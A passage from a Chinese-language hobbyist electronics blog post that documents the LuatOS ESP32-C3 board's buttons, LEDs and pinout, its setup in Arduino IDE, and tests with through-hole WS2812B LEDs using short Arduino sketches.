<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoop-HteRsqxHl4jBRvkF1eOhMXi9W5H333uTu_3XdIZ1iImvIvzPUmbiccY340QZZdtY5uh3sXMbPzo6sL6Rnto1XzpVBdOoQjzc_6aiwVudjmAUxqFHTRCO2sQhYVzsgFCqx9c0LAOEN8I2hKLBrMcOXzqIoMnB9_K3-QBzkV8wgp4Eqxe7v-URNXMo/w0/luatos-esp32-c3-009.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoop-HteRsqxHl4jBRvkF1eOhMXi9W5H333uTu_3XdIZ1iImvIvzPUmbiccY340QZZdtY5uh3sXMbPzo6sL6Rnto1XzpVBdOoQjzc_6aiwVudjmAUxqFHTRCO2sQhYVzsgFCqx9c0LAOEN8I2hKLBrMcOXzqIoMnB9_K3-QBzkV8wgp4Eqxe7v-URNXMo/w600/luatos-esp32-c3-009.jpg"/></a></div>
<div>BOOT按鈕,與 GP9引腳 相連,閒置時為高電壓<br/>
按下時接地讓 ESP32-C3 進入 <span class="mra-highlighter">起動模式(Boot Mode)</span>,用來更新韌體</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmL_xnJyPJi8YXZoTYjh2hhoBRTsveXb2mnCSYofARWHExhJZEZpPi_kXjQVKJFFg5Rm4_yYj_s8KY2w-kkhUrEa-PMVCc5h46fVpUAZjs0Wuoc7yLnTz8kBTwszT1anlFRDTZnbZ-zew2IA11z9CxQkDilUDvumszLduUmvnEOT6uxqpQl1lrqECwaGA/w0/luatos-esp32-c3-010.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmL_xnJyPJi8YXZoTYjh2hhoBRTsveXb2mnCSYofARWHExhJZEZpPi_kXjQVKJFFg5Rm4_yYj_s8KY2w-kkhUrEa-PMVCc5h46fVpUAZjs0Wuoc7yLnTz8kBTwszT1anlFRDTZnbZ-zew2IA11z9CxQkDilUDvumszLduUmvnEOT6uxqpQl1lrqECwaGA/w600/luatos-esp32-c3-010.jpg"/></a></div>
<div>RST按鈕,與 RST引腳 相連,閒置時為懸空, <span class="mra-highlighter">按下時接地並重新啟動</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmXo0MK6M1m1Rk5o8ips-8jB2J-5mwmDixGTLiXzk-9WCTYtyMR8hj_kBlJL-TwZldn5a0yF6V_JBeIkvThtJ959w2m6DgUZ-FMPjYpa95jBtTjSunUTiBT6ucs7QHGlqOPfDiDMsg2TESdpem5CDWh-eaE933H_V2qclhUDqv0-UrJngDsOYdo1_EyMI/w0/luatos-esp32-c3-011.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmXo0MK6M1m1Rk5o8ips-8jB2J-5mwmDixGTLiXzk-9WCTYtyMR8hj_kBlJL-TwZldn5a0yF6V_JBeIkvThtJ959w2m6DgUZ-FMPjYpa95jBtTjSunUTiBT6ucs7QHGlqOPfDiDMsg2TESdpem5CDWh-eaE933H_V2qclhUDqv0-UrJngDsOYdo1_EyMI/w600/luatos-esp32-c3-011.jpg"/></a></div>
<div>D4 LED ,與 GP12引腳 相連<br/>
閒置時為低電壓時關閉,高電壓時亮著</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgasaaLFjwH1L6dWYdBYyeGJjECub18k_UCHZgoFJYVYhMMwUvX45iArkp2ChUKTupRG15IzJC4Q5ZLSKjgSx4Q16S2gjmjiAb6dT5Kr5bU4yZILmGlMfvlGjn3iM7tpaURh1iarKTz7nLNnbqYHGxra2lt2SDUxaRFvQi5ZJYY5UMfqEsdeCdCkJDbE1g/w0/luatos-esp32-c3-012.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgasaaLFjwH1L6dWYdBYyeGJjECub18k_UCHZgoFJYVYhMMwUvX45iArkp2ChUKTupRG15IzJC4Q5ZLSKjgSx4Q16S2gjmjiAb6dT5Kr5bU4yZILmGlMfvlGjn3iM7tpaURh1iarKTz7nLNnbqYHGxra2lt2SDUxaRFvQi5ZJYY5UMfqEsdeCdCkJDbE1g/w600/luatos-esp32-c3-012.jpg"/></a></div>
<div>D5 LED ,與 GP13引腳 相連<br/>
閒置時為低電壓時關閉,高電壓時亮著</div>
<br/>
<a name="LuatOS-ESP32-C3引腳"></a><h5 class="mra-h5">引腳</h5>
<table class="mra-table mra-collapse" width="80%" cellspacing="5" cellpadding="5" border="1">
<colgroup>
<col width="10%">
<col width="10%">
<col width="15%">
<col width="65%">
</colgroup>
<thead>
<tr class="mra-pin-header">
<th>編號</th>
<th>引腳</th>
<th>方向</th>
<th>功能</th>
</tr>
</thead>
<tbody>
<tr class="mra-pin-gnd">
<td>1</td>
<td>GND</td>
<td></td>
<td>接地</td>
</tr>
<tr class="mra-pin-vcc">
<td>2</td>
<td>5V</td>
<td></td>
<td>提供 5V</td>
</tr>
<tr class="mra-pin-dig">
<td>3</td>
<td>GP9</td>
<td>輸入</td>
<td>第9數碼引腳,與 BOOT按鈕 相連</td>
</tr>
<tr class="mra-pin-dig">
<td>4</td>
<td>GP8~</td>
<td>輸入/輸出</td>
<td>第8數碼引腳,10位元PWM訊號</td>
</tr>
<tr class="mra-pin-sda">
<td>5</td>
<td>GP4</td>
<td>輸入/輸出</td>
<td>第4數碼引腳,12位元類比訊號,I<sup>2</sup>C SDA引腳</td>
</tr>
<tr class="mra-pin-scl">
<td>6</td>
<td>GP5</td>
<td>輸入/輸出</td>
<td>第5數碼引腳,I<sup>2</sup>C SCL引腳</td>
</tr>
<tr class="mra-pin-vcc">
<td>7</td>
<td>3V3</td>
<td></td>
<td>提供 3.3V</td>
</tr>
<tr class="mra-pin-gnd">
<td>8</td>
<td>GND</td>
<td></td>
<td>接地</td>
</tr>
<tr class="mra-pin-dig">
<td>9</td>
<td>GP11</td>
<td>輸入/輸出</td>
<td>第11數碼引腳</td>
</tr>
<tr class="mra-pin-ss">
<td>10</td>
<td>GP7</td>
<td>輸入/輸出</td>
<td>第7數碼引腳,SPI SS引腳</td>
</tr>
<tr class="mra-pin-dig">
<td>11</td>
<td>GP6~</td>
<td>輸入/輸出</td>
<td>第6數碼引腳,10位元PWM訊號</td>
</tr>
<tr class="mra-pin-miso">
<td>12</td>
<td>GP10~</td>
<td>輸入/輸出</td>
<td>第10數碼引腳,10位元PWM訊號,SPI MISO引腳</td>
</tr>
<tr class="mra-pin-mosi">
<td>13</td>
<td>GP3</td>
<td>輸入/輸出</td>
<td>第3數碼引腳,SPI MOSI引腳</td>
</tr>
<tr class="mra-pin-sck">
<td>14</td>
<td>GP2~</td>
<td>輸入/輸出</td>
<td>第2數碼引腳,10位元PWM訊號,SPI SCK引腳</td>
</tr>
<tr class="mra-pin-vcc">
<td>15</td>
<td>3V3</td>
<td></td>
<td>提供 3.3V</td>
</tr>
<tr class="mra-pin-gnd">
<td>16</td>
<td>GND</td>
<td></td>
<td>接地</td>
</tr>
<tr class="mra-pin-gnd">
<td>17</td>
<td>GND</td>
<td></td>
<td>接地</td>
</tr>
<tr class="mra-pin-tx">
<td>18</td>
<td>GP0</td>
<td>輸入/輸出</td>
<td>第0數碼引腳,12位元類比訊號,UART1 TX引腳</td>
</tr>
<tr class="mra-pin-rx">
<td>19</td>
<td>GP1</td>
<td>輸入/輸出</td>
<td>第1數碼引腳,12位元類比訊號,UART1 RX引腳</td>
</tr>
<tr class="mra-pin-dig">
<td>20</td>
<td>GP12</td>
<td>輸入/輸出</td>
<td>第12數碼引腳;與 D4 LED 相連,高電壓亮著</td>
</tr>
<tr class="mra-pin-dig">
<td>21</td>
<td>GP18</td>
<td>輸入/輸出</td>
<td>第18數碼引腳</td>
</tr>
<tr class="mra-pin-dig">
<td>22</td>
<td>GP19</td>
<td>輸入/輸出</td>
<td>第19數碼引腳</td>
</tr>
<tr class="mra-pin-gnd">
<td>23</td>
<td>GND</td>
<td></td>
<td>接地</td>
</tr>
<tr class="mra-pin-rx">
<td>24</td>
<td>RX</td>
<td>輸入</td>
<td>UART0 RX引腳</td>
</tr>
<tr class="mra-pin-tx">
<td>25</td>
<td>TX</td>
<td>輸出</td>
<td>UART0 TX引腳</td>
</tr>
<tr class="mra-pin-dig">
<td>26</td>
<td>GP13</td>
<td>輸入/輸出</td>
<td>第13數碼引腳;與 D5 LED 相連,高電壓亮著</td>
</tr>
<tr class="mra-pin-nc">
<td>27</td>
<td>NC</td>
<td></td>
<td>空引腳</td>
</tr>
<tr class="mra-pin-rst">
<td>28</td>
<td>RST</td>
<td></td>
<td>低電壓時重置裝置</td>
</tr>
<tr class="mra-pin-vcc">
<td>29</td>
<td>3V3</td>
<td></td>
<td>提供 3.3V</td>
</tr>
<tr class="mra-pin-gnd">
<td>30</td>
<td>GND</td>
<td></td>
<td>接地</td>
</tr>
<tr class="mra-pin-nc">
<td>31</td>
<td>PWB</td>
<td></td>
<td></td>
</tr>
<tr class="mra-pin-vcc">
<td>32</td>
<td>VCC</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<br/>
<a name="LuatOS-ESP32-C3測試電路"></a><h5 class="mra-h5">測試電路</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnJ7sA_WHAKffZ1cY-X7hu_GUXDZincqf6vtY9JJeh6WihsYhx04olGx6m4nocT3dxHzhnuwEd1Mz1h_dfwIDu6EbRRr_3pFslxH3SeAwalNILrSDc2mmKtTBeETyZZzOiH1KtYO-ifHWccOKReyetNkTLtHigSpWoUgwiOCR_q2xniglrZSp8RBHIP7c/w0/luatos-esp32-c3-013.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnJ7sA_WHAKffZ1cY-X7hu_GUXDZincqf6vtY9JJeh6WihsYhx04olGx6m4nocT3dxHzhnuwEd1Mz1h_dfwIDu6EbRRr_3pFslxH3SeAwalNILrSDc2mmKtTBeETyZZzOiH1KtYO-ifHWccOKReyetNkTLtHigSpWoUgwiOCR_q2xniglrZSp8RBHIP7c/w0/luatos-esp32-c3-013.png"/></a></div>
<div>只是將 LuatOS ESP32-C3 上的 LED 閃動<br/>
在下使用 Arduino IDE 編寫程式</div>
<br/>
<div>在 Additional Boards Manager URLs: 加入</div>
<pre class="brush:bash">https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_index.json</pre>
<div>並在 Boards Manager: 尋找、下載、安裝 esp32</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqA3_8F_WfENmzbHJ_Q_1-LeHrjRmUbYYCVjTXJQM4AvR_KEGotuFA-J5uYakqnt6hmVCo1j6FC0LbzzstJn6xjV4sPyJ4nFCy5leUKfi-uChrZhnhwKOfoHzy5_C7gCI2GbuUNCLx9sp9vyzDreoi5XYRo0MaJG9Pnnvxp28WPXDlbQeplFcMU5Y5vCQ/w0/luatos-esp32-c3-019.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqA3_8F_WfENmzbHJ_Q_1-LeHrjRmUbYYCVjTXJQM4AvR_KEGotuFA-J5uYakqnt6hmVCo1j6FC0LbzzstJn6xjV4sPyJ4nFCy5leUKfi-uChrZhnhwKOfoHzy5_C7gCI2GbuUNCLx9sp9vyzDreoi5XYRo0MaJG9Pnnvxp28WPXDlbQeplFcMU5Y5vCQ/w0/luatos-esp32-c3-019.png"/></a></div>
<div>安裝 ESP32 後,選擇 ESP32 Arduino > <span class="mra-highlighter">ESP32C3 Dev Module</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXI3ulkWtHU6JtphItUYVMTdw8oXQOlMtfBq8ftIMJOx-Hl94HurzW5GnNAoPO0vk0t5M2ns3ABMrKJoA-2rM5GSSiHZ01r9jjvWPGtKD6tmT_5_png1_J-muit0bxQSukc8fL7kqri6uIwS52VeAhgihnGOD6qhOl9q8MybHhwKow9t9u8M0G13dBtS0/w0/luatos-esp32-c3-020.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXI3ulkWtHU6JtphItUYVMTdw8oXQOlMtfBq8ftIMJOx-Hl94HurzW5GnNAoPO0vk0t5M2ns3ABMrKJoA-2rM5GSSiHZ01r9jjvWPGtKD6tmT_5_png1_J-muit0bxQSukc8fL7kqri6uIwS52VeAhgihnGOD6qhOl9q8MybHhwKow9t9u8M0G13dBtS0/w0/luatos-esp32-c3-020.png"/></a></div>
<div>在 Flash Mode 選擇 <span class="mra-highlighter">DIO</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivPX7ptP02Wz7vJFF693-_inql1wSnu79GIp7Ep3f12MKijJCHMU1kbosBOj2AIRnPH5SHVrja90vU5B_Sy3t1vuhSGV9YROgQFo6WtZBqbVgh952NOlE17G09-A1TTAhJdmIe8xFEDav1x6aHSt0mo5TbuL-lp5bWuo4Q7NTwInwMJiQ7dXbJC60PnT4/w0/luatos-esp32-c3-021.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivPX7ptP02Wz7vJFF693-_inql1wSnu79GIp7Ep3f12MKijJCHMU1kbosBOj2AIRnPH5SHVrja90vU5B_Sy3t1vuhSGV9YROgQFo6WtZBqbVgh952NOlE17G09-A1TTAhJdmIe8xFEDav1x6aHSt0mo5TbuL-lp5bWuo4Q7NTwInwMJiQ7dXbJC60PnT4/w0/luatos-esp32-c3-021.png"/></a></div>
<div>在 Programmer 選擇 <span class="mra-highlighter">Esptool</span></div>
<br/>
<div>編寫 Sketch 測試</div>
<pre class="brush:cpp">const byte D4_LED = 12;
const byte D5_LED = 13;
const unsigned int DELAY = 500;
void setup() {
pinMode(D4_LED, OUTPUT);
pinMode(D5_LED, OUTPUT);
}
void loop() {
digitalWrite(D4_LED, HIGH);
digitalWrite(D5_LED, LOW);
delay(DELAY);
digitalWrite(D4_LED, LOW);
digitalWrite(D5_LED, HIGH);
delay(DELAY);
}</pre>
<br/>
<a name="LuatOS-ESP32-C3實際效果"></a><h5 class="mra-h5">實際效果</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY2miD91gjiBSJ1ZOhHgPsicjaVEGNcgfW76vrs_IPO7zfMNiRK4q-uIrx6aP7SbzJPyErx3WHGVFxx1u06ivGnnviz4mXgLqjX8oWwZySXDzuyc9OohFXwKLOGimH2ctI3x7uIZYw8SXYw08Xnhd-2vry5SDlTCAswlZt3PAVy9JR3HkyEW-LoNj3oow/w0/luatos-esp32-c3-014.gif"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY2miD91gjiBSJ1ZOhHgPsicjaVEGNcgfW76vrs_IPO7zfMNiRK4q-uIrx6aP7SbzJPyErx3WHGVFxx1u06ivGnnviz4mXgLqjX8oWwZySXDzuyc9OohFXwKLOGimH2ctI3x7uIZYw8SXYw08Xnhd-2vry5SDlTCAswlZt3PAVy9JR3HkyEW-LoNj3oow/w0/luatos-esp32-c3-014.gif"/></a></div>
<div>D4 LED 及 D5 LED 閃動<br/>
由於 D4 及 D5 分別由 GP12 及 GP13 控制,因此將輸出裝置 LED 連接到 GP12 及 GP13 亦會有相同效果</div>
<br/>
<a name="WS2812B通孔LED"></a><h4 class="mra-h4">WS2812B 通孔 LED</h4>
<div>即是之前 <a href="https://hkgoldenmra.blogspot.com/2023/01/rp2040-neopixel.html">使用 RP2040微控制器 控制 NeoPixel</a> 介紹的 WS2812B SMD LED<br/>
但 WS2812B SMD LED 焊接及測試上比較困難,不過原來 WS2812B 有 通孔的版本</div>
<br/>
<a name="WS2812B通孔LED外觀"></a><h5 class="mra-h5">外觀</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu6CJNU2EEIRdPikqnJI3AUEGMYlCbcMheoQf2LMhKGkx3oSL73YvfiLw9uEY7R4pVky2SZzqcWPNKq38eqo64cBKOi3Vyo_nKo5oH_0Vn9yQjU7CbvqjFk_JKReJU3Vw-CXlLRwv7eP2jsluZZz-jQDigHl_XWJ9cIbFa8NmQtouDKuVAzUbt7RR7fFs/w0/luatos-esp32-c3-015.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu6CJNU2EEIRdPikqnJI3AUEGMYlCbcMheoQf2LMhKGkx3oSL73YvfiLw9uEY7R4pVky2SZzqcWPNKq38eqo64cBKOi3Vyo_nKo5oH_0Vn9yQjU7CbvqjFk_JKReJU3Vw-CXlLRwv7eP2jsluZZz-jQDigHl_XWJ9cIbFa8NmQtouDKuVAzUbt7RR7fFs/w600/luatos-esp32-c3-015.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9ZkViBGcuLXTwU-NBi9s4t1PoiRdFXL_WN7CsDpLNFV-7YpLGNVcb7mM9PlCwrfxYvClwSj0qj3uJOL0a2Ir3xtnIlTW9Q7_PWJfu7VBEFXcfR-jDciGELs3sI-3IE9_vmw8G3N6_3rbh7C5ZK7935lhaQJWHZqB8FrSZ5Zmx9aMo_PcAJ0R0HOGS4a4/w0/luatos-esp32-c3-016.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9ZkViBGcuLXTwU-NBi9s4t1PoiRdFXL_WN7CsDpLNFV-7YpLGNVcb7mM9PlCwrfxYvClwSj0qj3uJOL0a2Ir3xtnIlTW9Q7_PWJfu7VBEFXcfR-jDciGELs3sI-3IE9_vmw8G3N6_3rbh7C5ZK7935lhaQJWHZqB8FrSZ5Zmx9aMo_PcAJ0R0HOGS4a4/w600/luatos-esp32-c3-016.jpg"/></a></div>
<div>連接電源及接地,並以訊號引腳來控制顏色及光度<br/>
與 WS2812B SMD LED 完全相同</div>
<br/>
<a name="WS2812B通孔LED引腳"></a><h5 class="mra-h5">引腳</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE4YA6CoH6fZtW6BwPMxqtLOguQva9f-CQIyAb5YcwgG4vd4zXjWo8KelOZ-7HjKO3iW2ShG0Xrr9uC6Ho-StrR4803mNhmMeHWsfG7hxoes9hvtuJjGC7hgq4iZseVgsmmtQY2_EOEuSxfnrcf9_JJM4FLJ90cYqazaJTucVSJCAsvnMwBx4a-vu7y94/w0/luatos-esp32-c3-027.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE4YA6CoH6fZtW6BwPMxqtLOguQva9f-CQIyAb5YcwgG4vd4zXjWo8KelOZ-7HjKO3iW2ShG0Xrr9uC6Ho-StrR4803mNhmMeHWsfG7hxoes9hvtuJjGC7hgq4iZseVgsmmtQY2_EOEuSxfnrcf9_JJM4FLJ90cYqazaJTucVSJCAsvnMwBx4a-vu7y94/w600/luatos-esp32-c3-027.jpg"/></a></div>
<div>與 WS2812B SMD 相同,在細小空間中包含非常細小的控制晶片及LED</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkfYyfkvZMOBGCyAob-j-1NGnqQOBzhoaFJzKc9nH9sCI8KbZWx2_w7Kioj1M0P3dP53PuGM0OkwwghRAXZKWezrLZ5aauoAmMJqYH8gOl1cUQnbBkyritYJjjAzXkt25YsEFtL6j8zdQIv__xEIVqB2Gez3u0cNE_nIxiD730jcEt2gl37xZEIfdbtg8/w0/luatos-esp32-c3-026.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkfYyfkvZMOBGCyAob-j-1NGnqQOBzhoaFJzKc9nH9sCI8KbZWx2_w7Kioj1M0P3dP53PuGM0OkwwghRAXZKWezrLZ5aauoAmMJqYH8gOl1cUQnbBkyritYJjjAzXkt25YsEFtL6j8zdQIv__xEIVqB2Gez3u0cNE_nIxiD730jcEt2gl37xZEIfdbtg8/w600/luatos-esp32-c3-026.jpg"/></a></div>
<div>與一般通孔LED相同,LED外殼其中一面被 <span class="mra-highlighter">削平</span> ,即使引腳被裁短仍有方法判斷引腳的功能</div>
<table class="mra-table mra-collapse" width="80%" cellspacing="5" cellpadding="5" border="1">
<colgroup>
<col width="20%">
<col width="20%">
<col width="10%">
<col width="10%">
<col width="40%">
</colgroup>
<thead>
<tr class="mra-pin-header">
<th>編號(削平為1)</th>
<th>描述</th>
<th>引腳</th>
<th>方向</th>
<th>功能</th>
</tr>
</thead>
<tbody>
<tr class="mra-pin-rx">
<td>1</td>
<td>VCC旁引腳</td>
<td>DO</td>
<td>輸出</td>
<td>將控制訊號傳送給下一個地址</td>
</tr>
<tr class="mra-pin-vcc">
<td>2</td>
<td>第二長引腳</td>
<td>VCC</td>
<td></td>
<td>電源</td>
</tr>
<tr class="mra-pin-gnd">
<td>3</td>
<td>最長引腳</td>
<td>GND</td>
<td></td>
<td>接地</td>
</tr>
<tr class="mra-pin-tx">
<td>4</td>
<td>GND旁引腳</td>
<td>DI</td>
<td>輸入</td>
<td>接收控制訊號</td>
</tr>
</tbody>
</table>
<div>但不同生產商削平的方向可能會不同,因此還是需要檢查資料表</div>
<br/>
<a name="WS2812B通孔LED測試電路"></a><h5 class="mra-h5">測試電路</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhaaV_hUTtlPhAV4QXHLD_a1AMnfDH6cg6ZLycvZPkHU8XXtMpxb69nEC3L-gwbLDz-p42bf3ZIrQxOXN_RlQPinfHveB3CjEqKrg1OAtIMsviBG6dNpgh8gIPD1qSWK7GiFHgawfKcKM23v_PKI8J9Jd-k5LNUhEKz7arMqM7TvGnBJJfjDF6IoqmifQ/w0/luatos-esp32-c3-017.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhaaV_hUTtlPhAV4QXHLD_a1AMnfDH6cg6ZLycvZPkHU8XXtMpxb69nEC3L-gwbLDz-p42bf3ZIrQxOXN_RlQPinfHveB3CjEqKrg1OAtIMsviBG6dNpgh8gIPD1qSWK7GiFHgawfKcKM23v_PKI8J9Jd-k5LNUhEKz7arMqM7TvGnBJJfjDF6IoqmifQ/w0/luatos-esp32-c3-017.png"/></a></div>
<div>接駁 WS2812B 測試</div>
<br/>
<a name="WS2812B通孔LED實際效果"></a><h5 class="mra-h5">實際效果</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs-kf6SVZandHnJXUqWtsBiT9cDh1WRI0pbmknyOk811ZuHaTQtwC0LXi6jD7oXQLGWXYTEOT2NApzFXX_waqczNWJSdn1qCVlzs4W1sNNSimZVrIJuB4KBYqu4h1x42xwOyVUXHNbAl_pkm8JpWwGraI4Syxc1rzxsxa4flF6hzn-LvO-pcg-iwAuXB8/w0/luatos-esp32-c3-018.gif"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs-kf6SVZandHnJXUqWtsBiT9cDh1WRI0pbmknyOk811ZuHaTQtwC0LXi6jD7oXQLGWXYTEOT2NApzFXX_waqczNWJSdn1qCVlzs4W1sNNSimZVrIJuB4KBYqu4h1x42xwOyVUXHNbAl_pkm8JpWwGraI4Syxc1rzxsxa4flF6hzn-LvO-pcg-iwAuXB8/w600/luatos-esp32-c3-018.gif"/></a></div>
<div>實際效果與之前相同</div>
<br/>
<a name="WS2812B通孔LED測試電路2"></a><h5 class="mra-h5">測試電路2</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0aVKfPDxv65k5XsZNRvCs7bxLZWwBKgMvwVnrcTu-8tBWnWypn5xlW24U2qqoZ72F3nbR1kM5k4qFHqcQhnXUETD844Xn1jgaI5nfbzzgTlhLbwIw0GSoEYiPHM0al9ZjVMU8ZIQZkThb4E1LZwhMvtBIyJNA4TXhRLBmbYs0o8t0CmiK3SqlPUjGKQc/w0/luatos-esp32-c3-022.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0aVKfPDxv65k5XsZNRvCs7bxLZWwBKgMvwVnrcTu-8tBWnWypn5xlW24U2qqoZ72F3nbR1kM5k4qFHqcQhnXUETD844Xn1jgaI5nfbzzgTlhLbwIw0GSoEYiPHM0al9ZjVMU8ZIQZkThb4E1LZwhMvtBIyJNA4TXhRLBmbYs0o8t0CmiK3SqlPUjGKQc/w0/luatos-esp32-c3-022.png"/></a></div>
<div>以串聯方式接駁 WS2812B 測試</div>
<br/>
<a name="WS2812B通孔LED實際效果2"></a><h5 class="mra-h5">實際效果2</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYfKigNOz8Oyo6QFE-Mg9GJyX_se8kixNZHLK0K4eEhPPQM-4BvFlemD-UgSL7MKbEcclkuKiXJp5kFPadV_hjMehEjYVCAbOwIxrF7r0077kNL-HICSzL6-DzCvffulky448ChE2GVXMtfl0rrBvsnmqxOAT-BJ_59KxfXKpmsBzw1f4YEcFAy1N9UVI/w0/luatos-esp32-c3-023.gif"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYfKigNOz8Oyo6QFE-Mg9GJyX_se8kixNZHLK0K4eEhPPQM-4BvFlemD-UgSL7MKbEcclkuKiXJp5kFPadV_hjMehEjYVCAbOwIxrF7r0077kNL-HICSzL6-DzCvffulky448ChE2GVXMtfl0rrBvsnmqxOAT-BJ_59KxfXKpmsBzw1f4YEcFAy1N9UVI/w600/luatos-esp32-c3-023.gif"/></a></div>
<div>同樣相同效果</div>
<br/>
<a name="WS2812B通孔LED測試電路2"></a><h5 class="mra-h5">測試電路3</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjNleMYE0PrK9wRdISSOTmrvVKy4jOonxYYVW0G0EUNltb10dN6m5g5-Jzyk8hOvt5lYGsCWPz6XtO1tg3iV2xikK8oJExAV8PhQKxuw8jgUce-tqkYbZ12dXYe2D-gVAOktGviuCtl-NlVif0N64bqi8JOxxooSg6XyyGeJhH0kRTqqAWcC3sTpdlgEM/w0/luatos-esp32-c3-024.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjNleMYE0PrK9wRdISSOTmrvVKy4jOonxYYVW0G0EUNltb10dN6m5g5-Jzyk8hOvt5lYGsCWPz6XtO1tg3iV2xikK8oJExAV8PhQKxuw8jgUce-tqkYbZ12dXYe2D-gVAOktGviuCtl-NlVif0N64bqi8JOxxooSg6XyyGeJhH0kRTqqAWcC3sTpdlgEM/w0/luatos-esp32-c3-024.png"/></a></div>
<div>由於 BOOT按鈕 與 GP9引腳相連,因此可以將 BOOT按鈕 當作 GP9的按鈕操作<br/>
BOOT按鈕連接到到上拉電阻,並保持高電壓狀態,BOOT按鈕按下後會連接到 GND<br/>
因此 BOOT按鈕按下的狀態 是 LOW 而不是 HIGH ,而且亦要考慮按下及沒有按下的狀態<br/>
避免因為 BOOT按鈕按下時 ,資料不斷變化</div>
<pre class="brush:cpp">#include <Adafruit_NeoPixel.h>
const byte LEVEL = 0x10;
const byte CLEAR = 0x00;
const unsigned long COLOR[] = {
(0UL + CLEAR) << 16 | (0UL + CLEAR) << 8 | CLEAR, // NONE
(0UL + LEVEL) << 16 | (0UL + CLEAR) << 8 | CLEAR, // RED
(0UL + CLEAR) << 16 | (0UL + LEVEL) << 8 | CLEAR, // GREEN
(0UL + CLEAR) << 16 | (0UL + CLEAR) << 8 | LEVEL, // BLUE
(0UL + LEVEL) << 16 | (0UL + LEVEL) << 8 | CLEAR, // YELLOW
(0UL + LEVEL) << 16 | (0UL + CLEAR) << 8 | LEVEL, // CYAN
(0UL + CLEAR) << 16 | (0UL + LEVEL) << 8 | LEVEL, // MAGENTA
(0UL + LEVEL) << 16 | (0UL + LEVEL) << 8 | LEVEL, // WHITE
};
const unsigned int NUM = 1;
const byte PIN = 2;
const byte CONTROL = 9;
byte i = 0;
bool pressed = false;
Adafruit_NeoPixel rgb = Adafruit_NeoPixel(NUM, PIN);
void setup() {
rgb.begin();
pinMode(PIN, INPUT_PULLUP);
}
void loop() {
if (digitalRead(CONTROL) == LOW && !pressed) {
pressed = true;
i++;
i = i % (sizeof(COLOR) / sizeof(unsigned long));
} else if (digitalRead(CONTROL) == HIGH && pressed) {
pressed = false;
}
for (unsigned int j = 0; j < NUM; j++) {
rgb.setPixelColor(j, COLOR[i]);
rgb.show();
}
delay(1);
}</pre>
<br/>
<a name="WS2812B通孔LED實際效果2"></a><h5 class="mra-h5">實際效果3</h5>
